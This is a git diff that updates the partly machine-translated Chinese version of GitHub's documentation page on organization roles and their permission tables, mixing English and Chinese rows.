--- a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
+++ b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
@@ -16,6 +16,7 @@ topics:
   - Teams
 shortTitle: Roles in an organization
 ---
+
 ## About roles
 {% data reusables.organizations.about-roles %}
 
@@ -30,13 +31,13 @@ Organization-level roles are sets of permissions that can be assigned to individ
 You can assign individuals or teams to a variety of organization-level roles to control your members' access to your organization and its resources. For more details about the individual permissions included in each role, see "[Permissions for organization roles](#permissions-for-organization-roles)."
 
 ### Organization owners
-Organization owners have complete administrative access to your organization. This role should be limited, but to no less than two people, in your organization. For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
+Organization owners have complete administrative access to your organization. 此角色应限于组织中的少数几个人，但不少于两人。 更多信息请参阅“[管理组织的所有权连续性](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)”。
 
-### Organization members
+### 组织成员
 The default, non-administrative role for people in an organization is the organization member. By default, organization members have a number of permissions, including the ability to create repositories and project boards.
 
 {% ifversion fpt or ghec %}
-### Billing managers
+### 帐单管理员
 Billing managers are users who can manage the billing settings for your organization, such as payment information. This is a useful option if members of your organization don't usually have access to billing resources. For more information, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
 
 {% endif %}
@@ -50,174 +51,181 @@ Billing managers are users who can manage the billing settings for your organiza
 
 If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)."
 {% endif %}
-### {% data variables.product.prodname_github_app %} managers
-By default, only organization owners can manage the settings of {% data variables.product.prodname_github_apps %} owned by an organization. To allow additional users to manage {% data variables.product.prodname_github_apps %} owned by an organization, an owner can grant them {% data variables.product.prodname_github_app %} manager permissions.
+### {% data variables.product.prodname_github_app %} 管理员
+默认情况下，只有组织所有者才可管理组织拥有的 {% data variables.product.prodname_github_apps %} 的设置。 要允许其他用户管理组织拥有的 {% data variables.product.prodname_github_apps %}，所有者可向他们授予 {% data variables.product.prodname_github_app %} 管理员权限。
 
-When you designate a user as a {% data variables.product.prodname_github_app %} manager in your organization, you can grant them access to manage the settings of some or all {% data variables.product.prodname_github_apps %} owned by the organization. For more information, see:
+指定用户为组织中 {% data variables.product.prodname_github_app %} 的管理员时，您可以授予他们对组织拥有的部分或全部 {% data variables.product.prodname_github_apps %} 的设置进行管理的权限。 更多信息请参阅：
 
-- "[Adding GitHub App managers in your organization](/articles/adding-github-app-managers-in-your-organization)"
-- "[Removing GitHub App managers from your organization](/articles/removing-github-app-managers-from-your-organization)"
+- "[为组织添加 GitHub 应用程序管理员](/articles/adding-github-app-managers-in-your-organization)"
+- "[从组织删除 GitHub 应用程序管理员](/articles/removing-github-app-managers-from-your-organization)"
 
-### Outside collaborators
-To keep your organization's data secure while allowing access to repositories, you can add *outside collaborators*. {% data reusables.organizations.outside_collaborators_description %}
+### 外部协作者
+在允许访问仓库时，为确保组织数据的安全，您可以添加*外部协作者*。 {% data reusables.organizations.outside_collaborators_description %}
 
 ## Permissions for organization roles
 
 {% ifversion fpt %}
-Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+下面列出的一些功能仅限于使用 {% data variables.product.prodname_ghe_cloud %} 的组织。 {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
 {% ifversion fpt or ghec %}
 <!--Dotcom and cloud version has extra column for Billing managers-->
 
-| Organization permission | Owners | Members | Billing managers | Security managers |
-|:--------------------|:------:|:-------:|:----------------:|:----------------:|
-| Create repositories (see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)" for details) | **X** | **X** |  | **X**  |
-| View and edit billing information | **X** |  | **X** |  |
-| Invite people to join the organization | **X** |  |  |  |
-| Edit and cancel invitations to join the organization | **X** |  |  |  |
-| Remove members from the organization | **X** | | |  |
-| Reinstate former members to the organization | **X** | | |  |
-| Add and remove people from **all teams** | **X** |  |  |  |
-| Promote organization members to *team maintainer* | **X** |  |  |  |
-| Configure code review assignments (see "[Managing code review assignment for your team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)") | **X** |  |  |  |
-| Set scheduled reminders (see "[Managing scheduled reminders for pull requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)") | **X** |  |  |  |
-| Add collaborators to **all repositories** | **X** |  |  |  |
-| Access the organization audit log | **X** |  |  |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |  |
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |  |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |  |  |
-| Delete **all teams** | **X** |  |  |  |
-| Delete the organization account, including all repositories | **X** |  |  |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** |  | **X**  |
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | | **X**  |
-| See all organization members and teams | **X** | **X** |  | **X**  |
-| @mention any visible team | **X** | **X** |  | **X**  |
-| Can be made a *team maintainer* | **X** | **X** |  | **X** |
-| View organization insights (see "[Viewing insights for your organization](/articles/viewing-insights-for-your-organization)" for details) | **X** | **X** |  | **X**  |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** |  | **X**  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |  |
-| Edit and delete team discussions in **all teams** (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)" for details) | **X** |  |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | | **X** |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |  |
-| Manage viewing of organization dependency insights (see "[Changing the visibility of your organization's dependency insights](/articles/changing-the-visibility-of-your-organizations-dependency-insights)" for details) | **X** |  |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |  |
-| Sponsor accounts and manage the organization's sponsorships (see "[Sponsoring open-source contributors](/sponsors/sponsoring-open-source-contributors)" for details) | **X** |  | **X** | **X**  |
-| Manage email updates from sponsored accounts (see "[Managing updates from accounts your organization's sponsors](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)" for details) | **X** | | |  |
-| Attribute your sponsorships to another organization (see "[Attributing sponsorships to your organization](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)" for details ) | **X** | | |  |
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | | |  |
-| Manage security and analysis settings (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" for details) | **X** | | | **X** |
-| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details) | **X** | | | **X** |{% ifversion ghec %}
-| Enable and enforce [SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on) | **X** |  |  |  |
-| [Manage a user's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) | **X** |  |  |  |
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |  |  |{% endif %}
-| Transfer repositories | **X** | |    |  |
-| Purchase, install, manage billing for, and cancel {% data variables.product.prodname_marketplace %} apps | **X** | | |  |
-| List apps in {% data variables.product.prodname_marketplace %} | **X** | | |  |
-| Receive [{% data variables.product.prodname_dependabot_alerts %} about vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) for all of an organization's repositories | **X** |  |  | **X** |
-| Manage {% data variables.product.prodname_dependabot_security_updates %} (see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)") | **X** | | | **X** |
-| [Manage the forking policy](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) | **X** |  |  |
-| [Limit activity in public repositories in an organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization) | **X** | | |  |
-| Pull (read) *all repositories* in the organization | **X** | | | **X** |
-| Push (write) and clone (copy) *all repositories* in the organization | **X** | | |  |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | | |  |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | | |  |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | | |  |
-| Manage the default branch name (see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)") | **X** | | |  |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | | |  |{% ifversion ghec %}
-| Enable team synchronization (see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" for details) | **X** |  | |  |{% endif %}
+| Organization permission                                                                                                                                                                                                                             |  所有者  |  成员   | 帐单管理员 |      Security managers      |
+|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:-----:|:-----:|:---------------------------:|
+| 创建仓库（详细信息请参阅“[限制在组织中创建仓库](/articles/restricting-repository-creation-in-your-organization)”）                                                                                                                                                         | **X** | **X** |       |            **X**            |
+| 查看和编辑帐单信息                                                                                                                                                                                                                                           | **X** |       | **X** |                             |
+| 邀请人员加入组织                                                                                                                                                                                                                                            | **X** |       |       |                             |
+| 编辑和取消邀请加入组织                                                                                                                                                                                                                                         | **X** |       |       |                             |
+| 从组织删除成员                                                                                                                                                                                                                                             | **X** |       |       |                             |
+| 恢复组织的前成员                                                                                                                                                                                                                                            | **X** |       |       |                             |
+| 添加和删除**所有团队**的人员                                                                                                                                                                                                                                    | **X** |       |       |                             |
+| 将组织成员升级为*团队维护员*                                                                                                                                                                                                                                     | **X** |       |       |                             |
+| 配置代码审查分配（请参阅“[管理团队的代码审查分配](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)”）                                                                                                                            | **X** |       |       |                             |
+| 设置预定提醒（请参阅“[管理拉取请求的预定提醒](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)”）                                                                                                                  | **X** |       |       |                             |
+| 添加协作者到**所有仓库**                                                                                                                                                                                                                                      | **X** |       |       |                             |
+| 访问组织审核日志                                                                                                                                                                                                                                            | **X** |       |       |                             |
+| 编辑组织的资料页面（详细信息请参阅“[关于组织的资料](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)”）                                                                                                        | **X** |       |       |                             |
+| 验证组织的域（详细信息请参阅“[验证组织的域](/articles/verifying-your-organization-s-domain)”）                                                                                                                                                                           | **X** |       |       |                             |
+| 将电子邮件通知限于已经验证或批准的域名（有关详细信息，请参阅“[限制组织的电子邮件通知](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)”）                                                                                               | **X** |       |       |                             |
+| 删除**所有团队**                                                                                                                                                                                                                                          | **X** |       |       |                             |
+| 删除组织帐户，包括所有仓库                                                                                                                                                                                                                                       | **X** |       |       |                             |
+| 创建团队（详细信息请参阅“[在组织中设置团队创建权限](/articles/setting-team-creation-permissions-in-your-organization)”）                                                                                                                                                     | **X** | **X** |       |            **X**            |
+| [在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                           | **X** |       |       |                             |
+| 创建项目板（详细信息请参阅“[组织的项目板权限](/articles/project-board-permissions-for-an-organization)”）                                                                                                                                                                 | **X** | **X** |       |            **X**            |
+| 查看所有组织成员和团队                                                                                                                                                                                                                                         | **X** | **X** |       |            **X**            |
+| @提及任何可见团队                                                                                                                                                                                                                                           | **X** | **X** |       |            **X**            |
+| 可成为*团队维护员*                                                                                                                                                                                                                                          | **X** | **X** |       |            **X**            |
+| 查看组织洞见（详细信息请参阅“[查看用于组织的洞见](/articles/viewing-insights-for-your-organization)”）                                                                                                                                                                      | **X** | **X** |       |            **X**            |
+| 查看并发布公共团队讨论到**所有团队**（详细信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”）                                                                                                                                         | **X** | **X** |       |            **X**            |
+| 查看并发布私有团队讨论到**所有团队**（详细信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”）                                                                                                                                         | **X** |       |       |                             |
+| 编辑和删除**所有团队**的团队讨论（详细信息请参阅“[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)”）                                                                                                                             | **X** |       |       |                             |
+| 隐藏对提交、拉取请求和议题的评论（详细信息请参阅“[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)”）                                                                                                             | **X** | **X** |       |            **X**            |
+| 对组织禁用团队讨论（详细信息请参阅“[对组织禁用团队讨论](/articles/disabling-team-discussions-for-your-organization)”）                                                                                                                                                         | **X** |       |       |                             |
+| 管理组织依赖项洞见的显示（详细信息请参阅“[更改组织依赖项洞见的可见性](/articles/changing-the-visibility-of-your-organizations-dependency-insights)”）                                                                                                                                 | **X** |       |       |                             |
+| 设置**所有团队**的团队头像（详细信息请参阅“[设置团队的头像](/articles/setting-your-team-s-profile-picture)”）                                                                                                                                                                  | **X** |       |       |                             |
+| 赞助帐户和管理组织的赞助（更多信息请参阅“[赞助开源贡献者](/sponsors/sponsoring-open-source-contributors)”）                                                                                                                                                                     | **X** |       | **X** |            **X**            |
+| 管理赞助帐户的电子邮件更新（更多信息请参阅“[管理组织赞助帐户的更新](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)”）                                                                                                      | **X** |       |       |                             |
+| 将您的赞助归因于另一个组织（更多信息请参阅“[将赞助归因于组织](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)”）                                                                                                                     | **X** |       |       |                             |
+| 管理从组织中的仓库发布 {% data variables.product.prodname_pages %} 站点（请参阅“[管理组织的 {% data variables.product.prodname_pages %} 站点发布](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)”了解详细信息） | **X** |       |       |                             |
+| 管理安全性和分析设置（详情请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”）                                                                                                   | **X** |       |       |            **X**            |
+| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details)                                                                                     | **X** |       |       | **X** |{% ifversion ghec %}
+| 启用并实施 [SAML 单点登录](/articles/about-identity-and-access-management-with-saml-single-sign-on)                                                                                                                                                          | **X** |       |       |                             |
+| [管理用户对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)                                                                                    | **X** |       |       |                             |
+| 管理组织的 SSH 认证中心（详细信息请参阅“[管理组织的 SSH 认证中心](/articles/managing-your-organizations-ssh-certificate-authorities)”）                                                                                                                                        | **X** |       |       |        
+{% endif %}
+| 转让仓库                                                                                                                                                                                                                                                | **X** |       |       |                             |
+| 购买、安装、管理其帐单以及取消 {% data variables.product.prodname_marketplace %} 应用程序                                                                                                                                                                              | **X** |       |       |                             |
+| 列出 {% data variables.product.prodname_marketplace %} 中的应用程序                                                                                                                                                                                         | **X** |       |       |                             |
+| 接收所有组织仓库[关于易受攻击的依赖项的 {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)                                                                                 | **X** |       |       |            **X**            |
+| 管理 {% data variables.product.prodname_dependabot_security_updates %}（请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”）                  | **X** |       |       |            **X**            |
+| [管理复刻策略](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)                                                                                                                                           | **X** |       |       |                             |
+| [限制组织中公共仓库的活动](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)                                                                                                                                       | **X** |       |       |                             |
+| Pull (read) *all repositories* in the organization                                                                                                                                                                                                  | **X** |       |       |            **X**            |
+| Push (write) and clone (copy) *all repositories* in the organization                                                                                                                                                                                | **X** |       |       |                             |
+| 将组织成员转换为[外部协作者](#outside-collaborators)                                                                                                                                                                                                             | **X** |       |       |                             |
+| [查看对组织仓库具有访问权限的人员](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                         | **X** |       |       |                             |
+| [导出具有组织仓库访问权限人员的列表](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                             | **X** |       |       |                             |
+| 管理默认分支名称（请参阅“[管理组织中仓库的默认标签](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)”）                                                                                                 | **X** |       |       |                             |
+| 管理默认标签（请参阅“[管理组织中仓库的默认标签](/articles/managing-default-labels-for-repositories-in-your-organization)”）                                                                                                                                                | **X** |       |       |    |{% ifversion ghec %}
+| 启用团队同步（详情请参阅“[管理组织的团队同步](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)”）                                                                                                   | **X** |       |       |        
+{% endif %}
 
 {% elsif ghes > 3.2 or ghae-issue-4999 %}
 <!--GHES 3.3+ and eventual GHAE release don't have the extra column for Billing managers, but have security managers-->
 
-| Organization action | Owners | Members | Security managers |
-|:--------------------|:------:|:-------:|:-------:|
-| Invite people to join the organization | **X** |  |  |
-| Edit and cancel invitations to join the organization | **X** |  |  |
-| Remove members from the organization | **X** | | |  |
-| Reinstate former members to the organization | **X** | | |  |
-| Add and remove people from **all teams** | **X** |  |  |
-| Promote organization members to *team maintainer* | **X** |  |  |
-| Configure code review assignments (see "[Managing code review assignment for your team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)") | **X** |  |  |
-| Add collaborators to **all repositories** | **X** |  |  |
-| Access the organization audit log | **X** |  |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |{% ifversion ghes > 3.1 %}
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |  |{% endif %}
-| Delete **all teams** | **X** |  |  |
-| Delete the organization account, including all repositories | **X** |  |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** | **X**  |
-| See all organization members and teams | **X** | **X** | **X**  |
-| @mention any visible team | **X** | **X** | **X**  |
-| Can be made a *team maintainer* | **X** | **X** | **X**  |
-| Transfer repositories | **X** | |  |
-| Manage security and analysis settings (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" for details) | **X** | | **X** |{% ifversion ghes > 3.1 %}
-| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details) | **X** | | **X** |{% endif %}{% ifversion ghes > 3.2 %}
-| Manage {% data variables.product.prodname_dependabot_security_updates %} (see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)") | **X** | | **X** |{% endif %}
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | **X** |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** | **X**  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |
-| Edit and delete team discussions in **all teams** (for more information, see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | **X**  |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |{% ifversion ghes > 3.0 %}
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | |  |{% endif %}
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
-| Pull (read) *all repositories* in the organization | **X** | | **X** |
-| Push (write) and clone (copy) *all repositories* in the organization | **X** | |  |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | |  |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | |  |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |  |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | |  |
+| 组织操作                                                                                                                                                                                                                                                |  所有者  |  成员   |              Security managers               |
+|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:-----:|:--------------------------------------------:|
+| 邀请人员加入组织                                                                                                                                                                                                                                            | **X** |       |                                              |
+| 编辑和取消邀请加入组织                                                                                                                                                                                                                                         | **X** |       |                                              |
+| 从组织删除成员                                                                                                                                                                                                                                             | **X** |       |                      |                       |
+| 恢复组织的前成员                                                                                                                                                                                                                                            | **X** |       |                      |                       |
+| 添加和删除**所有团队**的人员                                                                                                                                                                                                                                    | **X** |       |                                              |
+| 将组织成员升级为*团队维护员*                                                                                                                                                                                                                                     | **X** |       |                                              |
+| 配置代码审查分配（请参阅“[管理团队的代码审查分配](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)”）                                                                                                                            | **X** |       |                                              |
+| 添加协作者到**所有仓库**                                                                                                                                                                                                                                      | **X** |       |                                              |
+| 访问组织审核日志                                                                                                                                                                                                                                            | **X** |       |                                              |
+| 编辑组织的资料页面（详细信息请参阅“[关于组织的资料](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)”）                                                                                                        | **X** |       |         |{% ifversion ghes > 3.1 %}
+| 验证组织的域（详细信息请参阅“[验证组织的域](/articles/verifying-your-organization-s-domain)”）                                                                                                                                                                           | **X** |       |                                              |
+| 将电子邮件通知限于已经验证或批准的域名（有关详细信息，请参阅“[限制组织的电子邮件通知](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)”）                                                                                               | **X** |       |                 
+{% endif %}
+| 删除**所有团队**                                                                                                                                                                                                                                          | **X** |       |                                              |
+| 删除组织帐户，包括所有仓库                                                                                                                                                                                                                                       | **X** |       |                                              |
+| 创建团队（详细信息请参阅“[在组织中设置团队创建权限](/articles/setting-team-creation-permissions-in-your-organization)”）                                                                                                                                                     | **X** | **X** |                    **X**                     |
+| 查看所有组织成员和团队                                                                                                                                                                                                                                         | **X** | **X** |                    **X**                     |
+| @提及任何可见团队                                                                                                                                                                                                                                           | **X** | **X** |                    **X**                     |
+| 可成为*团队维护员*                                                                                                                                                                                                                                          | **X** | **X** |                    **X**                     |
+| 转让仓库                                                                                                                                                                                                                                                | **X** |       |                                              |
+| 管理安全性和分析设置（详情请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”）                                                                                                   | **X** |       |      **X** |{% ifversion ghes > 3.1 %}
+| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details)                                                                                     | **X** |       | **X** |{% endif %}{% ifversion ghes > 3.2 %}
+| 管理 {% data variables.product.prodname_dependabot_security_updates %}（请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)”）                  | **X** |       |              **X** 
+{% endif %}
+| 管理组织的 SSH 认证中心（详细信息请参阅“[管理组织的 SSH 认证中心](/articles/managing-your-organizations-ssh-certificate-authorities)”）                                                                                                                                        | **X** |       |                                              |
+| 创建项目板（详细信息请参阅“[组织的项目板权限](/articles/project-board-permissions-for-an-organization)”）                                                                                                                                                                 | **X** | **X** |                    **X**                     |
+| 查看并发布公共团队讨论到**所有团队**（详细信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”）                                                                                                                                         | **X** | **X** |                    **X**                     |
+| 查看并发布私有团队讨论到**所有团队**（详细信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”）                                                                                                                                         | **X** |       |                                              |
+| 编辑和删除**所有团队**中的团队讨论（更多信息请参阅“[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments)”）                                                                                                                            | **X** |       |                      |                       |
+| 隐藏对提交、拉取请求和议题的评论（详细信息请参阅“[管理破坏性评论](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)”）                                                                                                             | **X** | **X** |                    **X**                     |
+| 对组织禁用团队讨论（详细信息请参阅“[对组织禁用团队讨论](/articles/disabling-team-discussions-for-your-organization)”）                                                                                                                                                         | **X** |       |                                              |
+| 设置**所有团队**的团队头像（详细信息请参阅“[设置团队的头像](/articles/setting-your-team-s-profile-picture)”）                                                                                                                                                                  | **X** |       |         |{% ifversion ghes > 3.0 %}
+| 管理从组织中的仓库发布 {% data variables.product.prodname_pages %} 站点（请参阅“[管理组织的 {% data variables.product.prodname_pages %} 站点发布](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)”了解详细信息） | **X** |       |                 
+{% endif %}
+| [在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                           | **X** |       |                                              |
+| Pull (read) *all repositories* in the organization                                                                                                                                                                                                  | **X** |       |                    **X**                     |
+| Push (write) and clone (copy) *all repositories* in the organization                                                                                                                                                                                | **X** |       |                                              |
+| 将组织成员转换为[外部协作者](#outside-collaborators)                                                                                                                                                                                                             | **X** |       |                                              |
+| [查看对组织仓库具有访问权限的人员](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                         | **X** |       |                                              |
+| [导出具有组织仓库访问权限人员的列表](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                             | **X** |       |                                              |
+| 管理默认标签（请参阅“[管理组织中仓库的默认标签](/articles/managing-default-labels-for-repositories-in-your-organization)”）                                                                                                                                                | **X** |       |                                              |
 {% ifversion ghae %}| Manage IP allow lists (see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |  |{% endif %}
 
 
 {% else %}
 <!--GHES and GHAE older versions don't have the extra column for Billing managers or Security managers-->
 
-| Organization action | Owners | Members |
-|:--------------------|:------:|:-------:|
-| Invite people to join the organization | **X** |  |
-| Edit and cancel invitations to join the organization | **X** |  |
-| Remove members from the organization | **X** | | |
-| Reinstate former members to the organization | **X** | | |
-| Add and remove people from **all teams** | **X** |  |  
-| Promote organization members to *team maintainer* | **X** |  |
-| Configure code review assignments (see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)")) | **X** |  |
-| Add collaborators to **all repositories** | **X** |  |
-| Access the organization audit log | **X** |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |{% ifversion ghes > 3.1 %}
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |{% endif %}
-| Delete **all teams** | **X** |  |
-| Delete the organization account, including all repositories | **X** |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** |
-| See all organization members and teams | **X** | **X** |
-| @mention any visible team | **X** | **X** |
